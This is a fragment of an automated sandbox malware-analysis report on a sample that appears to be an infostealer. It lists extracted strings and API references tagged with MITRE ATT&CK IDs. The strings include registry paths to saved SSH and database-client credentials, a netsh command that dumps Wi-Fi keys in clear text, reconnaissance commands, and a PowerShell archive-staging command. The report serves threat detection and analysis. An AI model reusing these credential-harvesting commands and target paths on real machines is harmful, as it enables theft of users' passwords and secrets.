00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera Next" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Mobatek\MobaXterm\Sessions" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Mobatek\MobaXterm\Passwords" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Mobatek\MobaXterm\Credentials" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Mobatek\MobaXterm\M" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions\%s" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\SimonTatham\PuTTY\SshHostKeys" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions\%s" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\Navicat\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\NavicatPG\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\NavicatMARIADB\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\NavicatMONGODB\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\NavicatMSSQL\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\NavicatORA\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\PremiumSoft\NavicatSQLite\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\HeidiSQL\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\HeidiSQL\Servers\%s" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Default" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers\%s" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Lsa" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKCU\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKLM\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKCU\RunOnce" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKLM\RunOnce" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKCU\Policies\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKLM\Policies\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKLM\Run (32-bit)" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKCU\Run (Disabled)" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HKLM\Run (Disabled)" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\System" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WinRE" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\USBSTOR" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Edge" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "RY\MACHINE\Software\WOW6432Node" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\" in Source: 00000000-00007748.00000000.139879.FAD40000.00000004.mdmp48:T882,Process nul && netsh wlan show profiles > "%s"" (Indicator: "chcp"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "chcp"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "SystemInfo" (Indicator: "systeminfo"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "ping 127.0.0.1 -n 3 >nul" (Indicator: "ping"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "reg query "%s" /s /f "%s"" (Indicator: "reg query"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "reg query HKCU /s /f "%s"" (Indicator: "reg query"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "arp -a"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "ipconfig"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "ipconfig /all"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "net user"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "netstat"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "route"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "route print"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "sc query"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "systeminfo"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /C "netstat -ano > "%s" 2>&1"" (Indicator: "netstat"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")68:T496,Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")69:T43b,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")6a:T4b0,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")6b:T823," \"%s\"\"\" (Indicator: \"ConvertTo-CSV\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SymmetricAlgorithm\" (Indicator: \"SymmetricAlgorithm\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to \"CryptoStream\" (Indicator: \"CryptoStream\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to \"CryptoStreamMode\" (Indicator: \"CryptoStream\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n file/memory contains long string with (Indicator: \"Oid\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n file/memory contains long string with (Indicator: \"Aes\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n file/memory contains long string with (Indicator: \"RC2\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00004180-00000BC0-1122467970\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"C:\\Windows\\System32\\Amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n Observed string: \"C:\\Windows\\SysWow64\\Amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to block user input (API string)","description":"Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-547","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to compress file/directory using PowerShell cmdlet","description":"Found string \"powershell -NoProfile -Command \"Compress-Archive -Path %s -DestinationPath '%s' -Force\"\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560","relevance":1,"id":"string-656","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decode string content at runtime (.NET)","description":"Observed function \"FromBase64String\" in \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES cryptographic operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.Aes\" and TypeReference \"Create\" in \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-167","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-445","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.Aes\" and TypeReference \"Create\" in \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"%s\\mozglue.dll\" (Indicator: \"\\mozglue.dll\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"%s\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains symmetric decryption functionality in .NET code","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"comCache\" in header \"GET /line/?fields=countryCode HTTP/1.1User-Agent: Mozilla/5.0Host: ip-api.comCache-Control: no-cache\"","origin":"Network 